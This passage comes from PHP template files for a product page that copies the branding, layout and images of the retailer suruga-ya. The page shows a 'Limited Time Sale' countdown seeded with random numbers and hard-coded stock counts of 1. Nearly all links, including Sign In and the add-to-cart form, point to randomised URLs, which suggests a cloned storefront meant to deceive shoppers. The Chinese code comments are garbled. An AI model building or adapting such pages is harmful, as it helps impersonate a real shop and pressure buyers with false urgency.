class=\"navi-review-review-rate navi-review-rate-and-total-count1\"\u003e\n \u003cdiv class=\"navi-review-average-star\"\u003e\n \u003cspan class=\"navi-review-rate\" data-rate=\"\u003c?php echo $data['rating']['score']; ?\u003e\"\u003e\n \u003c?php for ($i = 1; $i \u003c= 5; $i++) { echo '\u003cimg src=\"https://rvw.snva.jp/images/widget/star-' . ($i \u003c= floor($data['rating']['score']) ? 'on' : 'off') . '.png\"\u003e\u0026nbsp;'; } ?\u003e\n \u003c/span\u003e\n \u0026nbsp;\u003c?php echo $data['rating']['score']; ?\u003e \u003cspan\u003e(\u003c?php echo $data['rating']['count']; ?\u003e items)\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003cdiv class=\"flash_sale d-flex justify-content-between border\"\u003e\u003cdiv class=\"d-flex align-items-center justify-content-start flash_sale_title\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/common/pc/flash_sale.png.webp\" alt=\"flash sale icon\" width=\"24px;\"\u003eLimited Time Sale\u003c/div\u003e\u003cdiv class=\"d-flex justify-content-between align-items-center flash_sale_time\"\u003e\u003cdiv class=\"padR12\"\u003eUntil the end\u003c/div\u003e\u003cdiv class=\"d-flex justify-content-between time_sale\"\u003e\u003cdiv class=\"hours\" id=\"countdown-hours\"\u003e\u003c?php echo str_pad(rand(0, 23), 2, '0', STR_PAD_LEFT); ?\u003e\u003c/div\u003e\u003cdiv class=\"minutes\" id=\"countdown-minutes\"\u003e\u003c?php echo str_pad(rand(0, 59), 2, '0', STR_PAD_LEFT); ?\u003e\u003c/div\u003e\u003cdiv class=\"seconds\" id=\"countdown-seconds\"\u003e\u003c?php echo str_pad(rand(0, 59), 2, '0', STR_PAD_LEFT); ?\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n\n \u003cdiv class=\"price_group mb-2\"\u003e\n \u003cdiv class=\"item-price form-inline\"\u003e\n \u003cdiv class=\"form-check align-items-baseline\"\u003e\n \u003cinput value=\"0001\" checked=\"\" id=\"0001-2\" name=\"grade\" type=\"radio\" class=\"form-check-input\" data-price-label=\"New\" data-price-value=\"\u003c?php echo htmlspecialchars($data['price']['new']); ?\u003e\"\u003e\n \u003clabel class=\"mgnB0 d-block\" for=\"0001-2\"\u003eNew\u0026nbsp;\n \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['new']; ?\u003e (tax included)\u003c/span\u003e\n \u003cspan class=\"tag_product blue-light\"\u003e\u003cspan\u003eNumber of stocks: 1\u003c/span\u003e\u003c/span\u003e\n \u003c/label\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item-price form-inline\"\u003e\n \u003cdiv class=\"form-check align-items-baseline\"\u003e\n \u003cinput value=\"0001\" id=\"0001-1\" name=\"grade\" type=\"radio\" class=\"form-check-input\" data-price-label=\"Used\" data-price-value=\"\u003c?php echo htmlspecialchars($data['price']['used']); ?\u003e\"\u003e\n \u003clabel class=\"mgnB0 d-block\" for=\"0001-1\"\u003eUsed\u0026nbsp;\n \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['used']; ?\u003e (tax included)\u003c/span\u003e\n \u003cspan class=\"tag_product purple\"\u003e\u003cspan\u003eNew Arrivals and Restocks\u003c/span\u003e\u003c/span\u003e\n \u003cspan class=\"tag_product blue-light\"\u003e\u003cspan\u003eNumber in stock: 1\u003c/span\u003e\u003c/span\u003e\n \u003c/label\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \n \u003c?php if ($data['price_difference'] \u003e 0): ?\u003e\n \u003cdiv class=\"product_note mgnB0\"\u003e\u003cp class=\"mgnB0\"\u003e$\u003c?php echo htmlspecialchars($data['price_difference']); ?\u003e cheaper than the new price!!\u003c/p\u003e\u003c/div\u003e\n \u003c?php endif; ?\u003e\n \n \u003cdiv class=\"mgnT12\"\u003e\u003cdiv class=\"ticket_red\"\u003e\u003cspan class=\"shipping_comission_fee_text\"\u003eFree shipping for purchases over $99 ( \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" style=\"color: #007bff\"\u003eDetails\u003c/a\u003e ) \u003cbr\u003eFree cash-on-delivery fees for purchases over $99\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\n \n \u003cdiv class=\"link-group mgnT12\"\u003e\n \u003cul class=\"list-unstyled mb-0 list-p3\"\u003e\u003cli\u003e\u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" class=\"link_underline\"\u003eOther shops (12) \u003cspan class=\"text-red\"\u003e$99 ~\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\n \u003c/div\u003e\n \n \u003cdiv class=\"mt-3 offer_store_list\"\u003e\u003cdiv class=\"link-group all_stores more_store\"\u003e\u003cdiv class=\"more_less\" style=\"\"\u003eSee all stores\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n \n \u003cdiv class=\"mt-3 note_info\"\u003ePlease note that the sales price and tax displayed may differ between online and in-store. Also, the product may be out of stock in-store.\u003c/div\u003e\n \u003c/div\u003e\n \n \u003cdiv class=\"w-280px\"\u003e\n \u003c?php @include 'includes/purchase_panel_complete.php'; ?\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\n\u003c!-- Product Details --\u003e\n\u003cdiv class=\"row\" id=\"item_detailInfo\"\u003e\n \u003cdiv class=\"col-12\"\u003e\n \u003ch3 class=\"border-top mt-5 pt-4 green_header mgnB12\"\u003eProduct details\u003c/h3\u003e\n \u003ctable class=\"table table-striped tbl_product_info\"\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth class=\"text-right\"\u003eManagement number\u003c/th\u003e\n \u003ctd\u003e\u003c?php echo htmlspecialchars($data['management_number'] + ID_OFFSET); ?\u003e\u003c/td\u003e\n \u003cth class=\"text-right\"\u003eRelease Date\u003c/th\u003e\n \u003ctd\u003e\u003c?php echo htmlspecialchars($data['release_date']); ?\u003e\u003c/td\u003e\n \u003cth class=\"text-right\"\u003eList Price\u003c/th\u003e\n \u003ctd\u003e\u003c?php echo htmlspecialchars($data['list_price']); ?\u003e\u003c/td\u003e\n \u003cth class=\"text-right\"\u003eModel Number\u003c/th\u003e\n \u003ctd\u003e\u003c?php echo htmlspecialchars($data['model_number'] + ID_OFFSET); ?\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003cth class=\"text-right\" width=\"100px\"\u003eCategory\u003c/th\u003e\n \u003ctd colspan=\"9\"\u003e\n \u003col class=\"breadcrumb chevron-double bg-transparent p-0\"\u003e\n \u003c?php foreach ($data['breadcrumb_links'] as $link): ?\u003e\n \u003cli class=\"breadcrumb-item\"\u003e\n \u003ca class=\"link_underline\" href=\"\u003c?php echo htmlspecialchars($link['url']); ?\u003e\"\u003e\u003c?php echo htmlspecialchars($link['name']); ?\u003e\u003c/a\u003e\n \u003c/li\u003e\n \u003c?php endforeach; ?\u003e\n \u003c/ol\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003c/div\u003e\n \n \u003cdiv class=\"col-12\"\u003e\n \n \u003cdiv\u003e\n \u003c?php echo $data['description']; // This contains HTML, so we don't escape it ?\u003e\n \u003c/div\u003e\n \u003cdiv class=\"product-detail-ex\"\u003e\n \u003c?php if (!empty($data['images'])): ?\u003e\n \u003c?php foreach ($data['images'] as $image): ?\u003e\n \u003cp class=\"img-wrapper\" style=\"display:inline-block; width: 49%;\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" rel=\"lightbox\"\u003e\n \u003cimg class=\"lazyload\" data-src=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" style=\"width:100%\"\u003e\n \u003c/a\u003e\n \u003c/p\u003e\n \u003c?php endforeach; ?\u003e\n \u003c?php endif; ?\u003e\n \u003c/div\u003e\n \n \u003chr\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"row\"\u003e\n \u003cdiv class=\"col-12\"\u003e\n \u003c?php @include 'includes/related_products.php'; ?\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"row\"\u003e\u003cdiv class=\"col-12\"\u003e\u003ch3 class=\"h3_header mt-3 mgnB12 border-top pt-4\"\u003eCorrection of product information\u003c/h3\u003e\u003cp\u003eIf you notice any omissions or errors in the product information on this page, please use the correction request form below.\u003c/p\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(array_pop($data['template_links'])); ?\u003e\" class=\"btn btn-gray btn-icon padT4 padB4 product_edit_btn\"\u003e\u003ci class=\"bi bi-pencil-square top3\"\u003e\u003c/i\u003eCorrection Request Form\u003c/a\u003e\u003c/div\u003e\u003c/div\u003e\n\n\u003c?php @include 'includes/product_reviews.php'; ?\u003e\n\n\u003c/div\u003e\n\u003c/div\u003e\n\n\u003c?php \n@include 'includes/modals.php'; \n@include 'includes/footer_complete.php'; \n@include 'includes/scripts_complete.php'; \n?\u003e\n\u003cscript\u003e\ndocument.addEventListener('DOMContentLoaded', function() {\n const hoursElem = document.getElementById('countdown-hours');\n const minutesElem = document.getElementById('countdown-minutes');\n const secondsElem = document.getElementById('countdown-seconds');\n\n if (hoursElem \u0026\u0026 minutesElem \u0026\u0026 secondsElem) {\n let totalSeconds = \n parseInt(hoursElem.textContent, 10) * 3600 +\n parseInt(minutesElem.textContent, 10) * 60 +\n parseInt(secondsElem.textContent, 10);\n\n if (totalSeconds \u003e 0) {\n const countdownInterval = setInterval(function() {\n if (totalSeconds \u003c= 0) {\n clearInterval(countdownInterval);\n hoursElem.textContent = '00';\n minutesElem.textContent = '00';\n secondsElem.textContent = '00';\n return;\n }\n\n totalSeconds--;\n\n let hours = Math.floor(totalSeconds / 3600);\n let minutes = Math.floor((totalSeconds % 3600) / 60);\n let seconds = totalSeconds % 60;\n\n hoursElem.textContent = String(hours).padStart(2, '0');\n minutesElem.textContent = String(minutes).padStart(2, '0');\n secondsElem.textContent = String(seconds).padStart(2, '0');\n }, 1000);\n }\n }\n\n // --- Dynamic Price Update Logic ---\n const priceDisplayPanel = document.querySelector('.selected_price .price-buy');\n const priceLabelPanel = document.querySelector('.selected_price');\n const priceRadios = document.querySelectorAll('input[name=\"grade\"]');\n const priceDifferenceDisplay = document.querySelector('.product_note.mgnB0 p');\n \n // Store original values for price difference calculation\n const newPriceValue = parseFloat(`\u003c?php echo $product['price_original']; ?\u003e`);\n const usedPriceValue = parseFloat(`\u003c?php echo $product['price_current']; ?\u003e`);\n\n function updatePrice(event) {\n const selectedRadio = event.target;\n const priceLabel = selectedRadio.getAttribute('data-price-label');\n const priceValue = selectedRadio.getAttribute('data-price-value');\n \n if (priceDisplayPanel \u0026\u0026 priceLabelPanel) {\n priceDisplayPanel.textContent = `${priceValue} (tax included)`;\n // Update the \"New\" or \"Used\" label text\n priceLabelPanel.firstChild.nodeValue = `${priceLabel} `;\n }\n \n // Update the \"cheaper than\" message\n if (priceDifferenceDisplay) {\n let difference = 0;\n if (priceLabel === 'Used') {\n difference = newPriceValue - usedPriceValue;\n }\n // You can add logic for other labels if needed.\n // If 'New' is selected, the message should probably be hidden.\n \n if (difference \u003e 0) {\n priceDifferenceDisplay.textContent = `$${difference.toFixed(2)} cheaper than the new price!!`;\n priceDifferenceDisplay.parentElement.style.display = 'block';\n } else {\n priceDifferenceDisplay.parentElement.style.display = 'none';\n }\n }\n }\n\n priceRadios.forEach(radio =\u003e radio.addEventListener('change', updatePrice));\n \n // Set initial state for the \"cheaper than\" message\n const initialSelectedRadio = document.querySelector('input[name=\"grade\"]:checked');\n if (initialSelectedRadio \u0026\u0026 initialSelectedRadio.getAttribute('data-price-label') !== 'Used') {\n if(priceDifferenceDisplay) {\n priceDifferenceDisplay.parentElement.style.display = 'none';\n }\n }\n});\n\u003c/script\u003e\n\u003c/div\u003e\n\u003c/body\u003e\n\u003c/html\u003e ","path":"template_complete.php"},{"content":"\u003cdiv class=\"w-280px\"\u003e\n\u003cdiv class=\"panel_buy mgnB20\" id=\"cart\"\u003e\n \u003cdiv class=\"price_choise price_group selected_price\"\u003e\n \u003c?php if (isset($data['price']['new'])): ?\u003e\n New\u0026nbsp; \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['new']; ?\u003e\u003c/span\u003e\n \u003c?php elseif (isset($data['price']['used'])): ?\u003e\n Used\u0026nbsp; \u003cspan class=\"text-price-detail price-buy\"\u003e\u003c?php echo $data['price']['used']; ?\u003e\u003c/span\u003e\n \u003c?php endif; ?\u003e\n \u003c/div\u003e\n \n \u003cinput type=\"hidden\" name=\"amount_max\" value=\"1\" class=\"amount_max\"\u003e\n \n \u003cform class=\"cart add-cart\" method=\"post\" action=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"rem\" value=\"\u003c?php echo $data['management_number']; ?\u003e000\"\u003e\n \u003cinput type=\"hidden\" name=\"branch_number\" value=\"0001\"\u003e\n \u003cinput type=\"hidden\" name=\"return_url\" value=\"\u003c?php echo htmlspecialchars(basename($request_uri)); ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_name\" value=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_image\" value=\"\u003c?php echo isset($data['images'][0]) ? $data['images'][0] : $data['default_image']; ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_price\" value=\"\u003c?php echo isset($data['price']['new']) ? $data['price']['new'] : $data['price']['used']; ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_url\" value=\"\u003c?php echo buildProductUrl($data['management_number'], $data['title']); ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_id\" value=\"\u003c?php echo $data['management_number']; ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_category\" value=\"\u003c?php echo htmlspecialchars(end($data['categories'])); ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_brand\" value=\"\u003c?php echo htmlspecialchars($data['brand']); ?\u003e\"\u003e\n \u003cinput type=\"hidden\" name=\"product_currency\" value=\"\u003c?php echo $data['currency']; ?\u003e\"\u003e\n \n \u003cdiv class=\"product_amounts d-flex justify-content-start align-items-center mb-3\"\u003e\n \u003cspan class=\"padR12\"\u003equantity\u003c/span\u003e\n \u003cdiv class=\"border rounded bg-white\"\u003e\n \u003cselect id=\"quantity_selection\" class=\"bg-white border-0 form-control-sm\"\u003e\n \u003coption value=\"1\"\u003e1 point\u003c/option\u003e\n \u003c/select\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cinput type=\"hidden\" name=\"amount\" value=\"1\" id=\"amount\"\u003e\n\n \u003cdiv class=\"mgnT12\"\u003e\n \u003cbutton type=\"submit\" class=\"btn btn-warning btn-lg btn-block btn_buy cart1\" id=\"btn_add_cart\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/add_cart.svg\" alt=\"cart icon\" class=\"mgnR8\" width=\"26px\" style=\"vertical-align: middle;\"\u003e\n Add to Cart\n \u003c/button\u003e\n \u003cbutton type=\"button\" class=\"btn btn-light btn-lg btn-block btn_wishlist mgnT12\" onclick=\"addToFavorite(\u003c?php echo $data['management_number']; ?\u003e)\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/star_whishlist.svg\" alt=\"favorite icon\" class=\"mgnR8\" width=\"22px\" style=\"vertical-align: text-bottom;\"\u003e\n Add to favorites list\n \u003c/button\u003e\n \u003c/div\u003e\n \u003c/form\u003e\n\u003c/div\u003e\n\n\u003c!-- ����ȷ��ģ̬�� --\u003e\n\u003cdiv class=\"modal fade\" id=\"buyConfirmModal\" tabindex=\"-1\" aria-labelledby=\"buyConfirmModalLabel\" aria-hidden=\"true\"\u003e\n \u003cdiv class=\"modal-dialog\"\u003e\n \u003cdiv class=\"modal-content\"\u003e\n \u003cdiv class=\"modal-header\"\u003e\n \u003ch5 class=\"modal-title\" id=\"buyConfirmModalLabel\"\u003eConfirm Purchase\u003c/h5\u003e\n \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\n \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\n \u003c/button\u003e\n \u003c/div\u003e\n \u003cdiv class=\"modal-body\"\u003e\n \u003cdiv class=\"buy-confirm-content\"\u003e\n \u003cdiv class=\"product-summary\"\u003e\n \u003cimg src=\"\u003c?php echo isset($data['images'][0]) ? $data['images'][0] : $data['default_image']; ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" class=\"product-thumb\"\u003e\n \u003cdiv class=\"product-info\"\u003e\n \u003ch6\u003e\u003c?php echo htmlspecialchars($data['title']); ?\u003e\u003c/h6\u003e\n \u003cp class=\"price\"\u003e\u003c?php echo isset($data['price']['new']) ? $data['price']['new'] : $data['price']['used']; ?\u003e\u003c/p\u003e\n \u003cp class=\"quantity\"\u003eQuantity: \u003cspan id=\"confirm-quantity\"\u003e1\u003c/span\u003e\u003c/p\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"modal-footer\"\u003e\n \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eCancel\u003c/button\u003e\n \u003cbutton type=\"button\" class=\"btn btn-red\" id=\"confirmPurchase\"\u003eConfirm Purchase\u003c/button\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\n\u003c!-- �ղ�ȷ��ģ̬�� --\u003e\n\u003cdiv class=\"modal fade\" id=\"favoriteConfirmModal\" tabindex=\"-1\" aria-labelledby=\"favoriteConfirmModalLabel\" aria-hidden=\"true\"\u003e\n \u003cdiv class=\"modal-dialog\"\u003e\n \u003cdiv class=\"modal-content\"\u003e\n \u003cdiv class=\"modal-header\"\u003e\n \u003ch5 class=\"modal-title\" id=\"favoriteConfirmModalLabel\"\u003eAdd to Favorites\u003c/h5\u003e\n \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\n \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\n \u003c/button\u003e\n \u003c/div\u003e\n \u003cdiv class=\"modal-body\"\u003e\n \u003cp\u003eThis item has been added to your favorites.\u003c/p\u003e\n \u003c/div\u003e\n \u003cdiv class=\"modal-footer\"\u003e\n \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eClose\u003c/button\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"btn btn-primary\"\u003eView Favorites\u003c/a\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cscript\u003e\ndocument.addEventListener('DOMContentLoaded', function() {\n // ������ύ����\n document.querySelector('.add-cart').addEventListener('submit', function(e) {\n e.preventDefault();\n \n var formData = new FormData(this);\n var quantity = formData.get('amount');\n \n // ����ȷ��ģ̬���е�����\n document.getElementById('confirm-quantity').textContent = quantity;\n \n // ��ʾ����ȷ��ģ̬��\n $('#buyConfirmModal').modal('show');\n });\n \n // ȷ�Ϲ���ť����\n document.getElementById('confirmPurchase').addEventListener('click', function() {\n var form = document.querySelector('.add-cart');\n var formData = new FormData(form);\n \n // ����GA�¼�\n var price = parseFloat(formData.get('product_price').replace(/[^0-9.-]+/g, ''));\n var quantity = parseInt(formData.get('amount'));\n \n if (typeof addToCart === 'function') {\n addToCart(price, quantity);\n }\n \n // �ύ��\n form.submit();\n });\n\n // �������ص�amount�ֶ�\n document.getElementById('quantity_selection').addEventListener('change', function() {\n document.getElementById('amount').value = this.value;\n });\n});\n\nfunction addToFavorite(productId) {\n // ����������AJAX��������\n // ����ֻ����ʾȷ��ģ̬��\n $('#favoriteConfirmModal').modal('show');\n \n // ����е�¼�û������Է�����������\n // fetch('/api/favorites/add', {\n // method: 'POST',\n // headers: {'Content-Type': 'application/json'},\n // body: JSON.stringify({product_id: productId})\n // });\n}\n\nfunction shareProduct() {\n if (navigator.share) {\n navigator.share({\n title: '\u003c?php echo addslashes($data['title']); ?\u003e',\n text: '\u003c?php echo addslashes($data['title']); ?\u003e',\n url: window.location.href\n });\n } else {\n // �������ӵ�������\n navigator.clipboard.writeText(window.location.href).then(function() {\n alert('Product link copied to clipboard!');\n });\n }\n}\n\u003c/script\u003e\n\n\u003cstyle\u003e\n.w-280px {\n width: 280px;\n}\n.panel_buy {\n background: #fff;\n border: 1px solid #ddd;\n border-radius: 5px;\n padding: 20px;\n box-shadow: 0 2px 4px rgba(0,0,0,0.1);\n}\n\n.price_choise {\n font-size: 18px;\n font-weight: bold;\n margin-bottom: 15px;\n padding: 10px;\n background: #f8f9fa;\n border-radius: 3px;\n}\n\n.text-price-detail {\n color: #dc3545;\n font-size: 20px;\n}\n\n.product_amounts {\n font-size: 14px;\n}\n.padR12 {\n padding-right: 12px;\n}\n.mgnT12 {\n margin-top: 12px !important;\n}\n\n.btn_buy.cart1 {\n background: linear-gradient(to bottom,#faa821,#f7941d);\n border-color: #f08f0c;\n color: white;\n font-weight: bold;\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n}\n\n.btn_buy.cart1:hover {\n background: #f7941d;\n border-color: #f08f0c;\n}\n\n.btn_wishlist, .btn_share {\n background: #f8f8f8;\n border-color: #ccc;\n font-weight: bold;\n color: #333;\n}\n\n.btn_wishlist:hover, .btn_share:hover {\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n\n.product-summary {\n display: flex;\n align-items: center;\n gap: 15px;\n}\n\n.product-thumb {\n width: 80px;\n height: 80px;\n object-fit: cover;\n border-radius: 5px;\n}\n\n.product-info h6 {\n margin: 0 0 10px 0;\n font-size: 14px;\n}\n\n.product-info .price {\n color: #dc3545;\n font-weight: bold;\n margin: 0;\n}\n\n.product-info .quantity {\n margin: 5px 0 0 0;\n font-size: 14px;\n}\n\u003c/style\u003e ","path":"includes/purchase_panel_complete.php"},{"content":"\u003cfooter\u003e\n\u003cdiv class=\"container_suru padB40\"\u003e\n \u003cdiv class=\"row\"\u003e\n \u003cdiv class=\"col-12 d-flex justify-content-center mgnT16\"\u003e\n \u003cdiv class=\"padB12 footer_social_icon\" style=\" \"\u003e\n \u003ch4 style=\"font-size: 17px;\" class=\"text-center mgnT4 mgnB20 text-gray-dark\"\u003eOfficial SNS\u003c/h4\u003e\n \u003cdiv class=\"d-flex justify-content-center\" style=\"font-weight: bold;\"\u003e\n \u003cdiv class=\"item-social \"\u003e\n \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item-social \"\u003e\n \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"gtag('event', 'footer', {'event_category': 'external link','event_label': this.href});\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003cspan style=\"font-size: 10px; padding-top: 5px; font-family: Arial, 'Noto Sans', sans-serif;\"\u003eHobby Updates\u003c/span\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item-social \"\u003e\n \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/Instagram_Glyph_Gradient.png.webp\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item-social \"\u003e\n \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_facebook.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item-social \"\u003e\n \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_youtube.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item-social \"\u003e\n \u003ca class=\"d-flex flex-column justify-content-center align-items-center\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/bluesky-1.svg\" loading=\"lazy\" width=\"50px\" height=\"50px\"\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"col-12 nav_footer mgnT32\"\u003e\n \u003cul class=\"list-iine d-flex justify-content-center\"\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eSign In\u003c/a\u003e\u003c/li\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003ehelp\u003c/a\u003e\u003c/li\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003einquiry\u003c/a\u003e\u003c/li\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eCorporate Intelligence\u003c/a\u003e\u003c/li\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eRecruitment Information\u003c/a\u003e\u003c/li\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eProduct Archives\u003c/a\u003e\u003c/li\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eTerms and Policies\u003c/a\u003e\u003c/li\u003e\n \u003cli class=\"list-inline-item\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'external link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eAffiliate (for PC)\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \u003cdiv class=\"clearfix\"\u003e\u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003cdiv class=\"footer_bottom\"\u003e\n \u003cdiv class=\"mx-auto\"\u003e\n \u003cp class=\"mgnB4\"\u003e 2024 \u003c?php echo $host; ?\u003e. All rights reserved.\u003c/p\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c/footer\u003e\n\n\u003cstyle\u003e\nfooter {\n color: inherit !important;\n}\nfooter a:hover, footer a:focus{\n color: #ff0000 !important;\n text-decoration: underline;\n}\n.nav_footer {\n border-top: 1px solid #ccc;\n padding-top: 20px;\n}\n.nav_footer ul {\n padding-left: 0;\n list-style: none;\n flex-wrap: wrap;\n}\n.nav_footer .list-inline-item {\n margin-right: 1.5rem;\n margin-bottom: 1rem;\n}\n.footer_bottom {\n background: #e6e6e6;\n padding: 20px 0;\n text-align: center;\n}\n\u003c/style\u003e ","path":"includes/footer_complete.php"},{"content":"\u003c?php\nheader('Content-Type: 